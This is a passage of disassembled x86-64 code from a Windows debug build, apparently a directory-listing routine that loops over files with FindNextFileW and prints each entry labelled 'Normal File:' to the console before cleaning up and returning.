lea r8, [rbp + 0x3c]
mov rdx, qword [rbp + 0x3048]
lea rcx, [rbp + 0xf58]
call fcn.14001163b
mov qword [rbp + 0x3050], rax
mov rax, qword [rbp + 0x3050]
mov qword [rbp + 0x3058], rax
mov rax, qword [rbp + 0x3058]
mov qword [rbp + 0x3060], rax
mov rdx, qword [rbp + 0x3060]
mov rcx, qword [rbp + 0x3038]
call fcn.1400115f5
mov dl, 0xa
mov rcx, rax
call fcn.14001153c
nop
lea rcx, [rbp + 0xf58]
call fcn.140011929
nop
lea rcx, [rbp + 0xf18]
call fcn.140011929
jmp 0x140021007
lea rdx, str.Normal_File:
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011541
mov qword [rbp + 0x3038], rax
lea r8, [0x140032260]
mov rdx, qword [rbp + 0x30a0]
lea rcx, [rbp + 0xf98]
call fcn.140011956
mov qword [rbp + 0x3040], rax
mov rax, qword [rbp + 0x3040]
mov qword [rbp + 0x3048], rax
lea r8, [rbp + 0x3c]
mov rdx, qword [rbp + 0x3048]
lea rcx, [rbp + 0xfd8]
call fcn.14001163b
mov qword [rbp + 0x3050], rax
mov rax, qword [rbp + 0x3050]
mov qword [rbp + 0x3058], rax
mov rax, qword [rbp + 0x3058]
mov qword [rbp + 0x3060], rax
mov rdx, qword [rbp + 0x3060]
mov rcx, qword [rbp + 0x3038]
call fcn.1400115f5
mov dl, 0xa
mov rcx, rax
call fcn.14001153c
nop
lea rcx, [rbp + 0xfd8]
call fcn.140011929
nop
lea rcx, [rbp + 0xf98]
call fcn.140011929
nop
lea rcx, [rbp + 0x3d8]
call fcn.140011929
nop
lea rcx, [rbp + 0x398]
call fcn.140011929
lea rdx, [rbp + 0x10]
mov rcx, qword [rbp + 0x278]
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x140020a0b
mov rcx, qword [rbp + 0x278]
call qword [sym.imp.KERNEL32.dll_FindClose]
nop
lea rcx, [rbp + 0x318]
call fcn.14001176c
nop
lea rcx, [rbp + 0x2d8]
call fcn.14001176c
nop
lea rcx, [rbp + 0x298]
call fcn.140011537
lea rcx, [rbp - 0x30]
lea rdx, [0x140030420]
call fcn.1400118d4
mov rcx, qword [rbp + 0x3078]
xor rcx, rbp
call fcn.1400114ec
lea rsp, [rbp + 0x3080]
pop rdi
pop rsi
pop rbp
ret